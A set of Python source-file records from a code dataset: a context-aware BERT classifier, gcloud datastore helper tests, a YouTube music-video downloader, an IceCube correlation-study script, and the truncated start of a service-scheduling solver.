lambda_k = self.quasi_act(lambda_k_context + lambda_k_key)\n lambda_q_scalar = 1.0\n lambda_k_scalar = 1.0\n lambda_context = lambda_q_scalar*lambda_q + lambda_k_scalar*lambda_k\n lambda_context = (1 - lambda_context)\n quasi_attention_prob = lambda_context * quasi_attention_scores\n new_attention_probs = attention_probs + quasi_attention_prob\n\n ######################################################################\n\n value_layer = self.transpose_for_scores(mixed_value_layer)\n\n # This is actually dropping out entire tokens to attend to, which might\n # seem a bit unusual, but is taken from the original Transformer paper.\n new_attention_probs = self.dropout(new_attention_probs)\n\n context_layer = torch.matmul(new_attention_probs, value_layer)\n context_layer = context_layer.permute(0, 2, 1, 3).contiguous()\n new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)\n context_layer = context_layer.view(*new_context_layer_shape)\n\n return context_layer, new_attention_probs, attention_probs, quasi_attention_prob, lambda_context\n\nclass BERTSelfOutput(nn.Module):\n def __init__(self, config):\n super(BERTSelfOutput, self).__init__()\n self.dense = nn.Linear(config.hidden_size, config.hidden_size)\n self.LayerNorm = BERTLayerNorm(config)\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n\n def forward(self, hidden_states, input_tensor):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.dropout(hidden_states)\n hidden_states = self.LayerNorm(hidden_states + input_tensor)\n return hidden_states\n\nclass BERTOutput(nn.Module):\n def __init__(self, config):\n super(BERTOutput, self).__init__()\n self.dense = nn.Linear(config.intermediate_size, config.hidden_size)\n self.LayerNorm = BERTLayerNorm(config)\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n\n def forward(self, hidden_states, input_tensor):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.dropout(hidden_states)\n hidden_states = self.LayerNorm(hidden_states + input_tensor)\n return hidden_states\n\nclass ContextBERTAttention(nn.Module):\n def __init__(self, config):\n super(ContextBERTAttention, self).__init__()\n self.self = ContextBERTSelfAttention(config)\n self.output = BERTSelfOutput(config)\n\n def forward(self, input_tensor, attention_mask,\n # optional parameters for saving context information\n device=None, context_embedded=None):\n self_output, new_attention_probs, attention_probs, quasi_attention_prob, lambda_context = \\\n self.self.forward(input_tensor, attention_mask,\n device, context_embedded)\n attention_output = self.output(self_output, input_tensor)\n return attention_output, new_attention_probs, attention_probs, quasi_attention_prob, lambda_context\n\nclass ContextBERTLayer(nn.Module):\n def __init__(self, config):\n super(ContextBERTLayer, self).__init__()\n self.attention = ContextBERTAttention(config)\n self.intermediate = BERTIntermediate(config)\n self.output = BERTOutput(config)\n\n def forward(self, hidden_states, attention_mask,\n # optional parameters for saving context information\n device=None, context_embedded=None):\n attention_output, new_attention_probs, attention_probs, quasi_attention_prob, lambda_context = \\\n self.attention(hidden_states, attention_mask,\n device, context_embedded)\n intermediate_output = self.intermediate(attention_output)\n layer_output = self.output(intermediate_output, attention_output)\n return layer_output, new_attention_probs, attention_probs, quasi_attention_prob, lambda_context\n\nclass ContextBERTEncoder(nn.Module):\n def __init__(self, config):\n super(ContextBERTEncoder, self).__init__()\n\n deep_context_transform_layer = \\\n nn.Linear(2*config.hidden_size, config.hidden_size)\n self.context_layer = \\\n nn.ModuleList([copy.deepcopy(deep_context_transform_layer) for _ in range(config.num_hidden_layers)]) \n\n context_layer = ContextBERTLayer(config)\n self.layer = nn.ModuleList([copy.deepcopy(context_layer) for _ in range(config.num_hidden_layers)]) \n\n def forward(self, hidden_states, attention_mask,\n # optional parameters for saving context information\n device=None, context_embeddings=None):\n #######################################################################\n # Here, we can try other ways to incoperate the context!\n # Just make sure the output context_embedded is in the \n # shape of (batch_size, seq_len, d_hidden).\n all_encoder_layers = []\n all_new_attention_probs = []\n all_attention_probs = []\n all_quasi_attention_prob = []\n all_lambda_context = []\n layer_index = 0\n for layer_module in self.layer:\n # update context\n deep_context_hidden = torch.cat([context_embeddings, hidden_states], dim=-1)\n deep_context_hidden = self.context_layer[layer_index](deep_context_hidden)\n deep_context_hidden += context_embeddings\n # BERT encoding\n hidden_states, new_attention_probs, attention_probs, quasi_attention_prob, lambda_context = \\\n layer_module(hidden_states, attention_mask,\n device, deep_context_hidden)\n all_encoder_layers.append(hidden_states)\n all_new_attention_probs.append(new_attention_probs.clone())\n all_attention_probs.append(attention_probs.clone())\n all_quasi_attention_prob.append(quasi_attention_prob.clone())\n all_lambda_context.append(lambda_context.clone())\n layer_index += 1\n #######################################################################\n return all_encoder_layers, all_new_attention_probs, all_attention_probs, all_quasi_attention_prob, all_lambda_context\n\nclass ContextBertModel(nn.Module):\n \"\"\" Context-aware BERT base model\n \"\"\"\n def __init__(self, config: BertConfig):\n \"\"\"Constructor for BertModel.\n\n Args:\n config: `BertConfig` instance.\n \"\"\"\n super(ContextBertModel, self).__init__()\n self.embeddings = BERTEmbeddings(config)\n self.encoder = ContextBERTEncoder(config)\n self.pooler = ContextBERTPooler(config)\n\n self.context_embeddings = nn.Embedding(2*4, config.hidden_size)\n\n def forward(self, input_ids, token_type_ids=None, attention_mask=None,\n # optional parameters for saving context information\n device=None, context_ids=None):\n if attention_mask is None:\n attention_mask = torch.ones_like(input_ids)\n if token_type_ids is None:\n token_type_ids = torch.zeros_like(input_ids)\n\n # We create a 3D attention mask from a 2D tensor mask.\n # Sizes are [batch_size, 1, 1, from_seq_length]\n # So we can broadcast to [batch_size, num_heads, to_seq_length, from_seq_length]\n # this attention mask is more simple than the triangular masking of causal attention\n # used in OpenAI GPT, we just need to prepare the broadcast dimension here.\n extended_attention_mask = attention_mask.unsqueeze(1).unsqueeze(2)\n\n # Since attention_mask is 1.0 for positions we want to attend and 0.0 for\n # masked positions, this operation will create a tensor which is 0.0 for\n # positions we want to attend and -10000.0 for masked positions.\n # Since we are adding it to the raw scores before the softmax, this is\n # effectively the same as removing these entirely.\n extended_attention_mask = extended_attention_mask.float()\n extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0\n\n embedding_output = self.embeddings(input_ids, token_type_ids)\n\n #######################################################################\n # Context embeddings\n seq_len = embedding_output.shape[1]\n context_embedded = self.context_embeddings(context_ids).squeeze(dim=1)\n context_embedding_output = torch.stack(seq_len*[context_embedded], dim=1)\n #######################################################################\n\n all_encoder_layers, all_new_attention_probs, all_attention_probs, all_quasi_attention_prob, all_lambda_context = \\\n self.encoder(embedding_output, extended_attention_mask,\n device,\n context_embedding_output)\n sequence_output = all_encoder_layers[-1]\n pooled_output = self.pooler(sequence_output, attention_mask)\n return pooled_output, all_new_attention_probs, all_attention_probs, all_quasi_attention_prob, all_lambda_context\n\nclass QACGBertForSequenceClassification(nn.Module):\n \"\"\"Proposed Context-Aware Bert Model for Sequence Classification\n \"\"\"\n def __init__(self, config, num_labels, init_weight=False, init_lrp=False):\n super(QACGBertForSequenceClassification, self).__init__()\n self.bert = ContextBertModel(config)\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n self.classifier = nn.Linear(config.hidden_size, num_labels)\n self.num_head = config.num_attention_heads\n self.config = config\n if init_weight:\n print(\"init_weight = True\")\n def init_weights(module):\n if isinstance(module, (nn.Linear, nn.Embedding)):\n # Slightly different from the TF version which uses truncated_normal for initialization\n # cf https://github.com/pytorch/pytorch/pull/5617\n module.weight.data.normal_(mean=0.0, std=config.initializer_range)\n elif isinstance(module, BERTLayerNorm):\n module.beta.data.normal_(mean=0.0, std=config.initializer_range)\n module.gamma.data.normal_(mean=0.0, std=config.initializer_range)\n if isinstance(module, nn.Linear):\n if module.bias is not None:\n module.bias.data.zero_()\n self.apply(init_weights)\n\n #######################################################################\n # Let's do special handling of initialization of newly added layers\n # for newly added layer, we want it to be \"invisible\" to the\n # training process in the beginning and slightly diverge from the\n # original model. To illustrate, let's image we add a linear layer\n # in the middle of a pretrain network. If we initialize the weight\n # randomly by default, then it will effect the output of the \n # pretrain model largely so that it lost the point of importing\n # pretrained weights.\n #\n # What we do instead is that we initialize the weights to be a close\n # diagonal identity matrix, so that, at the beginning, for the \n # network, it will be bascially copying the input hidden vectors as\n # the output, and slowly diverge in the process of fine tunning. \n # We turn the bias off to accomedate this as well.\n init_perturbation = 1e-2\n for layer_module in self.bert.encoder.layer:\n layer_module.attention.self.lambda_q_context_layer.weight.data.normal_(mean=0.0, std=init_perturbation)\n layer_module.attention.self.lambda_k_context_layer.weight.data.normal_(mean=0.0, std=init_perturbation)\n layer_module.attention.self.lambda_q_query_layer.weight.data.normal_(mean=0.0, std=init_perturbation)\n layer_module.attention.self.lambda_k_key_layer.weight.data.normal_(mean=0.0, std=init_perturbation)\n\n #######################################################################\n if init_lrp:\n print(\"init_lrp = True\")\n init_hooks_lrp(self)\n\n def forward(self, input_ids, token_type_ids, attention_mask, seq_lens,\n device=None, labels=None,\n # optional parameters for saving context information\n context_ids=None):\n\n pooled_output, all_new_attention_probs, all_attention_probs, all_quasi_attention_prob, all_lambda_context = \\\n self.bert(input_ids, token_type_ids, attention_mask,\n device, context_ids)\n \n pooled_output = self.dropout(pooled_output)\n\n logits = \\\n self.classifier(pooled_output)\n if labels is not None:\n loss_fct = CrossEntropyLoss()\n loss = loss_fct(logits, labels)\n return loss, logits, all_new_attention_probs, all_attention_probs, all_quasi_attention_prob, all_lambda_context\n else:\n return logits\n\n def backward_gradient(self, sensitivity_grads):\n classifier_out = func_activations['model.classifier']\n embedding_output = func_activations['model.bert.embeddings']\n sensitivity_grads = torch.autograd.grad(classifier_out, embedding_output, \n grad_outputs=sensitivity_grads)[0]\n return sensitivity_grads","sub_path":"code/model/QACGBERT.py","file_name":"QACGBERT.py","file_ext":"py","file_size_in_byte":27307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"265208053","text":"import unittest2\n\n\nclass Test__get_protobuf_attribute_and_value(unittest2.TestCase):\n\n def _callFUT(self, val):\n from gcloud.datastore._helpers import _get_protobuf_attribute_and_value\n\n return _get_protobuf_attribute_and_value(val)\n\n def test_datetime_naive(self):\n import calendar\n import datetime\n import pytz\n\n naive = datetime.datetime(2014, 9, 16, 10, 19, 32, 4375) # No zone.\n utc = datetime.datetime(2014, 9, 16, 10, 19, 32, 4375, pytz.utc)\n name, value = self._callFUT(naive)\n self.assertEqual(name, 'timestamp_microseconds_value')\n self.assertEqual(value / 1000000, calendar.timegm(utc.timetuple()))\n self.assertEqual(value % 1000000, 4375)\n\n def test_datetime_w_zone(self):\n import calendar\n import datetime\n import pytz\n\n utc = datetime.datetime(2014, 9, 16, 10, 19, 32, 4375, pytz.utc)\n name, value = self._callFUT(utc)\n self.assertEqual(name, 'timestamp_microseconds_value')\n self.assertEqual(value / 1000000, calendar.timegm(utc.timetuple()))\n self.assertEqual(value % 1000000, 4375)\n\n def test_key(self):\n from gcloud.datastore.dataset import Dataset\n from gcloud.datastore.key import Key\n\n _DATASET = 'DATASET'\n _KIND = 'KIND'\n _ID = 1234\n _PATH = [{'kind': _KIND, 'id': _ID}]\n key = Key(dataset=Dataset(_DATASET), path=_PATH)\n name, value = self._callFUT(key)\n self.assertEqual(name, 'key_value')\n self.assertEqual(value, key.to_protobuf())\n\n def test_bool(self):\n name, value = self._callFUT(False)\n self.assertEqual(name, 'boolean_value')\n self.assertEqual(value, False)\n\n def test_float(self):\n name, value = self._callFUT(3.1415926)\n self.assertEqual(name, 'double_value')\n self.assertEqual(value, 3.1415926)\n\n def test_int(self):\n name, value = self._callFUT(42)\n self.assertEqual(name, 'integer_value')\n self.assertEqual(value, 42)\n\n def test_long(self):\n must_be_long = (1 << 63) - 1\n name, value = self._callFUT(must_be_long)\n self.assertEqual(name, 'integer_value')\n self.assertEqual(value, must_be_long)\n\n def test_long_too_small(self):\n too_small = -(1 << 63) - 1\n self.assertRaises(ValueError, self._callFUT, too_small)\n\n def test_long_too_large(self):\n too_large = 1 << 63\n self.assertRaises(ValueError, self._callFUT, too_large)\n\n def test_native_str(self):\n name, value = self._callFUT('str')\n self.assertEqual(name, 'string_value')\n self.assertEqual(value, 'str')\n\n def test_unicode(self):\n name, value = self._callFUT(u'str')\n self.assertEqual(name, 'string_value')\n self.assertEqual(value, u'str')\n\n def test_entity(self):\n from gcloud.datastore.entity import Entity\n entity = Entity()\n name, value = self._callFUT(entity)\n self.assertEqual(name, 'entity_value')\n self.assertTrue(value is entity)\n\n def test_object(self):\n self.assertRaises(ValueError, self._callFUT, object())\n\n\nclass Test__get_value_from_protobuf(unittest2.TestCase):\n\n def _callFUT(self, pb):\n from gcloud.datastore._helpers import _get_value_from_protobuf\n\n return _get_value_from_protobuf(pb)\n\n def _makePB(self, attr_name, value):\n from gcloud.datastore.datastore_v1_pb2 import Property\n\n prop = Property()\n setattr(prop.value, attr_name, value)\n return prop\n\n def test_datetime(self):\n import calendar\n import datetime\n import pytz\n\n utc = datetime.datetime(2014, 9, 16, 10, 19, 32, 4375, pytz.utc)\n micros = (calendar.timegm(utc.timetuple()) * 1000000) + 4375\n pb = self._makePB('timestamp_microseconds_value', micros)\n self.assertEqual(self._callFUT(pb), utc)\n\n def test_key(self):\n from gcloud.datastore.datastore_v1_pb2 import Property\n from gcloud.datastore.dataset import Dataset\n from gcloud.datastore.key import Key\n\n _DATASET = 'DATASET'\n _KIND = 'KIND'\n _ID = 1234\n _PATH = [{'kind': _KIND, 'id': _ID}]\n pb = Property()\n expected = Key(dataset=Dataset(_DATASET), path=_PATH).to_protobuf()\n pb.value.key_value.CopyFrom(expected)\n found = self._callFUT(pb)\n self.assertEqual(found.to_protobuf(), expected)\n\n def test_bool(self):\n pb = self._makePB('boolean_value', False)\n self.assertEqual(self._callFUT(pb), False)\n\n def test_float(self):\n pb = self._makePB('double_value', 3.1415926)\n self.assertEqual(self._callFUT(pb), 3.1415926)\n\n def test_int(self):\n pb = self._makePB('integer_value', 42)\n self.assertEqual(self._callFUT(pb), 42)\n\n def test_native_str(self):\n pb = self._makePB('string_value', 'str')\n self.assertEqual(self._callFUT(pb), 'str')\n\n def test_unicode(self):\n pb = self._makePB('string_value', u'str')\n self.assertEqual(self._callFUT(pb), u'str')\n\n def test_entity(self):\n from gcloud.datastore.datastore_v1_pb2 import Property\n from gcloud.datastore.entity import Entity\n\n pb = Property()\n entity_pb = pb.value.entity_value\n prop_pb = entity_pb.property.add()\n prop_pb.name = 'foo'\n prop_pb.value.string_value = 'Foo'\n entity = self._callFUT(pb)\n self.assertTrue(isinstance(entity, Entity))\n self.assertEqual(entity['foo'], 'Foo')\n\n def test_unknown(self):\n from gcloud.datastore.datastore_v1_pb2 import Property\n\n pb = Property()\n self.assertEqual(self._callFUT(pb), None) # XXX desirable?\n\n\nclass Test_set_protobuf_value(unittest2.TestCase):\n\n def _callFUT(self, value_pb, val):\n from gcloud.datastore._helpers import _set_protobuf_value\n\n return _set_protobuf_value(value_pb, val)\n\n def _makePB(self):\n from gcloud.datastore.datastore_v1_pb2 import Value\n\n return Value()\n\n def test_datetime(self):\n import calendar\n import datetime\n import pytz\n\n pb = self._makePB()\n utc = datetime.datetime(2014, 9, 16, 10, 19, 32, 4375, pytz.utc)\n self._callFUT(pb, utc)\n value = pb.timestamp_microseconds_value\n self.assertEqual(value / 1000000, calendar.timegm(utc.timetuple()))\n self.assertEqual(value % 1000000, 4375)\n\n def test_key(self):\n from gcloud.datastore.dataset import Dataset\n from gcloud.datastore.key import Key\n\n _DATASET = 'DATASET'\n _KIND = 'KIND'\n _ID = 1234\n _PATH = [{'kind': _KIND, 'id': _ID}]\n pb = self._makePB()\n key = Key(dataset=Dataset(_DATASET), path=_PATH)\n self._callFUT(pb, key)\n value = pb.key_value\n self.assertEqual(value, key.to_protobuf())\n\n def test_bool(self):\n pb = self._makePB()\n self._callFUT(pb, False)\n value = pb.boolean_value\n self.assertEqual(value, False)\n\n def test_float(self):\n pb = self._makePB()\n self._callFUT(pb, 3.1415926)\n value = pb.double_value\n self.assertEqual(value, 3.1415926)\n\n def test_int(self):\n pb = self._makePB()\n self._callFUT(pb, 42)\n value = pb.integer_value\n self.assertEqual(value, 42)\n\n def test_long(self):\n pb = self._makePB()\n must_be_long = (1 << 63) - 1\n self._callFUT(pb, must_be_long)\n value = pb.integer_value\n self.assertEqual(value, must_be_long)\n\n def test_native_str(self):\n pb = self._makePB()\n self._callFUT(pb, 'str')\n value = pb.string_value\n self.assertEqual(value, 'str')\n\n def test_unicode(self):\n pb = self._makePB()\n self._callFUT(pb, u'str')\n value = pb.string_value\n self.assertEqual(value, u'str')\n\n def test_entity_empty_wo_key(self):\n from gcloud.datastore.entity import Entity\n\n pb = self._makePB()\n entity = Entity()\n self._callFUT(pb, entity)\n value = pb.entity_value\n self.assertEqual(value.key.SerializeToString(), '')\n props = list(value.property)\n self.assertEqual(len(props), 0)\n\n def test_entity_w_key(self):\n from gcloud.datastore.entity import Entity\n from gcloud.datastore.key import Key\n\n pb = self._makePB()\n key = Key(path=[{'kind': 'KIND', 'id': 123}])\n entity = Entity().key(key)\n entity['foo'] = 'Foo'\n self._callFUT(pb, entity)\n value = pb.entity_value\n self.assertEqual(value.key, key.to_protobuf())\n props = list(value.property)\n self.assertEqual(len(props), 1)\n self.assertEqual(props[0].name, 'foo')\n self.assertEqual(props[0].value.string_value, 'Foo')\n","sub_path":"gcloud/datastore/test__helpers.py","file_name":"test__helpers.py","file_ext":"py","file_size_in_byte":8854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"499026752","text":"import unittest\nfrom unittest import TestCase\nfrom config import Credentials\n__author__ = 'dmcdade'\n\n\nclass TestCredentials(TestCase):\n def test_get_credentials(self):\n c = Credentials()\n cred = c.get_credentials()\n self.assertEqual(len(cred), 5, msg='Something is wrong with the parsing config.credentials')\n self.assertIn('warehouse',cred, msg='Something is wrong with the parsing config.credentials')\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"untitled folder/Excel_ETL/tests/test_credentials.py","file_name":"test_credentials.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"308254171","text":"# coding=utf-8\nfrom bs4 import BeautifulSoup\nfrom pytube import YouTube\nimport os\nimport threading\nimport time\nimport re\nimport requests\nimport sys\nimport logging, datetime, shutil\n\nmainDir = 'BeautifulSoup/'\nfolder = logger_name = mainDir + \"日誌偵錯\"\ntoday = datetime.date.today()\nloggerPath = logger_name + u'/log - ' + str(today) + '.txt'\nif os.path.exists(mainDir):\n shutil.rmtree(mainDir)\nif not os.path.exists(mainDir + folder):\n os.makedirs(folder)\n# formatter : 日誌輸出格式\nformatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s: - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n# 設置logger\nlogger = logging.getLogger(logger_name) # 不加名稱設置root logger\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s - %(name)s - %(levelname)s: - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=loggerPath)\nlog_filter = logging.Filter(logger_name)\n\n# 使用StreamHandler輸出到屏幕\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.DEBUG)\nconsole.setFormatter(formatter)\nlogger.addHandler(console) # 添加StreamHandler\n\nlogger.info(u'logger已啟動')\n\n\ndef yt_download(keyword, url):\n global logger\n start = time.time()\n path = mainDir + 'MV/' + keyword + '/'\n try:\n yt = YouTube(url) # 建立Youtube query 物件\n stream = yt.streams.filter(subtype='mp4', res='720p', progressive=True).first() # 取出第1個Youtube stream 物件\n # logger.info(uhelp(stream))\n logger.info(u'MV名稱:{} MV影片大小:{}'.format(yt.title, stream.filesize))\n except Exception as err:\n logger.info(err)\n else:\n if not os.path.exists(path):\n os.makedirs(path)\n logger.info(u'建立目錄:{}'.format(path))\n fname = yt.title + '.mp4'\n fname = fname.replace(':', '').replace('*', '').replace(\"'\", \"\").replace('\"', '')\n fname = fname.replace('>', '').replace('<', '')\n if not os.path.exists(path + fname):\n stream.download(path) # 下載Youtube影音串流\n logger.info(u\"開始下載...\")\n end = time.time()\n logger.info(u'MV名稱:{} MV影片大小:{} 下載完成 共花費時間:{}s'.format(yt.title, stream.filesize, (end - start)))\n else:\n logger.info(\n u'MV名稱:{} MV影片大小:{} 已存在'.format(yt.title, stream.filesize))\n\n\n# -----------------------------------------------------------------------------------------------\n# keyword = input(\"請輸入MV關鍵字\\n\")\ndef download_mv(keyword):\n global logger\n url = 'https://www.youtube.com/results?sp=EgIQAUIECAESAA%253D%253D&search_query=' + keyword + '+official+mv'\n logger.info(url)\n html = requests.get(url)\n logger.info(u'Yotube網頁內容讀取中')\n html.raise_for_status()\n logger.info(u'Yotube加載成功')\n soup = BeautifulSoup(html.text, 'lxml') # lxml為HTML解析方式\n mvId_list = soup.select('a[aria-describedby]')\n logger.info(u'soup物件長度:{}'.format(len(mvId_list)))\n logger.info(u'soup物件型態:{}'.format(type(mvId_list)))\n logger.info(u'---------' * 8)\n for mvId in mvId_list:\n title = mvId.get('title')\n if (re.search(r'[MV]|M/V|Official MV|MV', title) != None) \\\n and (keyword in title) \\\n and (re.search('REACTION|FAN|Choreography|REACTION|K-POP|Ost|ver|Teaser|Color|pratice', title,\n re.IGNORECASE) == None):\n logger.info(u'mv標題內容 :{}\\nMV ID為:{}'.format(mvId.get('title'), mvId.get('href')))\n mv_url = 'https://www.youtube.com/' + mvId.get('href')\n logger.info(u'MV連結為:{}'.format(mv_url))\n t = threading.Thread(target=yt_download(keyword, mv_url))\n # 執行該子執行緒\n t.start()\n logger.info(u'***************' * 5)\n\n\n# grouplist = ['GFRIEND', 'BTS', 'TWICE', 'Lovelyz', 'BLACKPINK', 'Red Velvet', 'Apink', 'INFINITE', 'BTOB', 'B.A.P']\n\ngrouplist = sys.argv[1:] # 接收命令提示字元參數\n[download_mv(keyword) for keyword in grouplist]\nlogger.info(u'執行完成')\nlogger.info(u'---------' * 8)\n","sub_path":"網路爬蟲/BeautifulSoup.py","file_name":"BeautifulSoup.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"41063236","text":"\"\"\"correlationStudy_v2.\nUsage: correlationStudy_v2.py MC MODELS OUTPUT BATCHES\n\n-h Show this.\nMC Path to mc-data.\nMODELS Path to trained models.\nOUTPUT Output directory path.\nBATCHES Number of batches to split up input.\n\"\"\"\nfrom docopt import docopt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.externals import joblib\nfrom sklearn.metrics import roc_auc_score\nfrom dataMethods_v3 import load_data\nfrom sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\nfrom sklearn.model_selection import KFold, StratifiedKFold\nimport h5py\n\n\ndef load_and_prepare_data(input_files, batch):\n \"\"\"Loads and prepares (if needed) the input files.\n\n Parameters\n ----------\n input_files : list(str)\n List of paths to input files.\n\n Returns\n -------\n lab : Pandas Dataframe\n Labels extracted from files.\n\n att : Pandas Dataframe\n Attributes extracted from files.\n\n wgt : Array, shape=(len(lab),)\n Weights.\n\n grp : Array, shape=(len(lab),)\n File association of events.\n \"\"\"\n lab, att, wgt, grp = load_data(input_files, batch, verbosity=False)\n\n return (lab, att, wgt, grp)\n\n\ndef gen_labels(label, att):\n \"\"\"Generates Labels from data.\n\n Parameters\n ----------\n label : Pandas Dataframe\n Labels\n\n att : Pandas Dataframe\n Attributes\n\n Returns\n -------\n labels_S : array, shape=(len(lab),)\n Label for S classification\n\n labels_Q : array, shape=(len(lab),)\n Label for Q classification\n\n labels_M : array, shape=(len(lab),)\n Label for M classification\n\n labels_R : array, shape=(len(lab),)\n Label for R regression\n \"\"\"\n label_S = (label[\"Hoinka_Labels_label_in\"].values == 1.0)\n label_M = (label[\"Hoinka_Labels_n_mu_stop\"].values == 1) & label_S\n label_R = label[\"Hoinka_Labels_true_stop_z\"].values\n zenith_splinempe = att[\"Hoinka_zenith_SplineMPE\"].values\n zenith_true = label[\"Hoinka_Labels_zenith_true\"].values\n azimuth_splinempe = att[\"Hoinka_azimuth_SplineMPE\"].values\n azimuth_true = label[\"Hoinka_Labels_azimuth_true\"].values\n ang_error = np.arccos(np.cos(azimuth_true-azimuth_splinempe) * np.sin(zenith_true) * np.sin(zenith_splinempe) +\n np.cos(zenith_true) * np.cos(zenith_splinempe))\n #label_Q = (ang_error < 0.1)\n label_Q = np.log10(ang_error)\n return label_S, label_Q, label_M, label_R\n\n\ndef analyse_model(mc_input, model_input, output, n_batches):\n df_list = []\n\n for f in mc_input.split(\",\"):\n print(\"Loading data from %s ...\" % f)\n\n file = h5py.File(f)\n n_input_lines = file['Hoinka_Labels'].size # 2127602\n # f.close()\n\n steps = np.linspace(0, n_input_lines, num=n_batches).astype(int)\n\n intervals = [(steps[i], steps[i + 1]) for i in range(len(steps) - 1)]\n\n for n, batch in enumerate(intervals):\n print(\"...Processing batch %i\" %n)\n lab, att, wgt, grp = load_and_prepare_data(file, batch)\n\n models = joblib.load(model_input)\n\n proba_s = models['s'][1].predict_proba(att[models['s'][0]])[:, 1]\n estimate_q = models['q'][1].predict(att[models['q'][0]])\n proba_m = models['m'][1].predict_proba(att[models['m'][0]])[:, 1]\n estimate_r = models['r'][1].predict(att[models['r'][0]])\n\n lab_s, lab_q, lab_m, lab_r = gen_labels(lab, att)\n\n df = pd.DataFrame({'true_stopping': lab_s,\n 'estimated_stopping': proba_s,\n 'true_single_stopping': lab_m,\n 'estimated_single_stopping': proba_m,\n 'n_mu': lab[\"Hoinka_Labels_n_mu\"],\n 'n_mu_stop': lab[\"Hoinka_Labels_n_mu_stop\"],\n 'true_quality': lab_q,\n 'estimated_quality': estimate_q,\n 'zenith_true': lab[\"Hoinka_Labels_zenith_true\"],\n 'zenith_splinempe': att[\"Hoinka_zenith_SplineMPE\"],\n 'energy_mep': lab[\"Hoinka_Labels_energy_mep\"],\n 'energy_stop': lab[\"Hoinka_Labels_energy_stop\"],\n 'true_stop_z': lab[\"Hoinka_Labels_true_stop_z\"],\n 'estimated_stop_z': estimate_r,\n 'weight': wgt,\n 'in_ice_pulses': att[\"Hoinka_proj_std_TWSRTHVInIcePulses\"],\n 'n_dir_doms' : att[\"BestTrackDirectHitsA_n_dir_doms\"],\n 'smoothness' : att[\"BestTrackDirectHitsICA_dir_track_hit_distribution_smoothness\"],\n 'best_track_z' : att[\"BestTrack_z\"],\n 'MPEFit_TWHV_azimuth' : att[\"MPEFit_TWHV_azimuth\"],\n 'muon_speed' : att[\"SplineMPETruncatedEnergy_SPICEMie_ORIG_Muon_speed\"]})\n df_list += [df]\n\n results = pd.concat(df_list).reset_index()\n\n joblib.dump(results, \"%s/df_correlationData_fullSet.pickle\" % output)\n\n\nif __name__ == \"__main__\":\n args = docopt(__doc__, version=\"Analyse Model\")\n analyse_model(args[\"MC\"], args['MODELS'], args[\"OUTPUT\"], int(args[\"BATCHES\"]))","sub_path":"energyEstimation/correlationStudy_v2.py","file_name":"correlationStudy_v2.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"81636148","text":"from collections import defaultdict, Counter\n\nfrom ortools.linear_solver import pywraplp\n\nfrom .constants import (\n MAX_PREPS_PER_WEEK,\n MAX_SERVICE_CATEGORY_PER_WEEK,\n MAX_SERVICES_PER_DAY,\n PREP\n)\nfrom .models import Assignment, Service, ServiceSlot\nfrom aputils.utils import timeit_inline\n\n\nclass ServiceScheduler(object):\n def __init__(self, services, assignments, exceptions):\n self.services = services\n self.assignments = assignments\n self.exceptions = exceptions\n\n def solve(self):\n # uses Mixed Integer Programming assignment algorithm as described here:\n # https://developers.google.com/optimization/assignment/assignment_mip\n solver = pywraplp.Solver('SolveAssignmentProblemMIP',\n pywraplp.Solver.CBC_MIXED_INTEGER_PROGRAMMING)\n self.solver = solver\n x = {}\n self.x = x\n day_constraints = defaultdict(list)\n category_constraints = defaultdict(list)\n prep_constraints = defaultdict(list)\n\n def services_left(worker):\n return max(worker.services_cap -\n self.assignments.get(worker.id, 0) -\n self.exceptions.get(worker.id, 0), 0)\n t = timeit_inline(\"Creating worker list\")\n t.start()\n workers = []\n worker_indices = defaultdict(set)\n worker_set = set()\n i = 0\n for service in self.services:\n for slot in service.serviceslots:\n for worker in slot.workers:\n if worker in worker_set:\n continue\n worker_set.add(worker)\n workers.append(worker)\n try:\n for w in worker:\n worker_indices[w].add(i)\n except TypeError:\n worker_indices[worker].add(i)\n i += 1\n worker_caps = []\n for worker in workers:\n cap = calculate_worker_value(worker, services_left, min)\n worker_caps.append(cap)\n num_workers = len(workers)\n t.end()\n\n t = timeit_inline(\"Creating task list\")\n t.start()\n tasks = []\n num_tasks = 0\n task_size = []\n for service in self.services:\n for slot in service.serviceslots:\n tasks.append((service, slot))\n task_size.append(slot.workers_required if slot.gender != 'X' else 1)\n day_constraints[service.weekday].append(num_tasks)\n category_constraints[service.category].append(num_tasks)\n if PREP in service.category.name:\n prep_constraints[PREP].append(num_tasks)\n num_tasks += 1\n t.end()\n self.tasks = tasks\n\n def sick_level_func(w):\n return float(max(10 - w.health, 1))\n\n cost = []\n t = timeit_inline(\"Creating cost\")\n t.start()\n for i, worker in enumerate(workers):\n sick_level = calculate_worker_value(worker, sick_level_func, sum)\n freqs = calculate_worker_value(\n worker,\n lambda w: w.weighted_service_frequency,\n lambda s: sum(s, Counter())\n )\n\n c = []\n for service, slot in tasks:\n # frequency_value is an indicator of how often worker has done a particular service, specific to the weekday.\n frequency_value = 0\n if freqs.get(service.category):\n frequency_value = freqs.get(service.category).get(service.weekday, 0)\n c.append(frequency_value +\n sick_level / 10 -\n slot.worker_group.assign_priority)\n cost.append(c)\n t.end()\n self.workers = workers\n\n t = timeit_inline(\"Initializing worker, task grid\")\n t.start()\n for i in range(num_workers):\n for 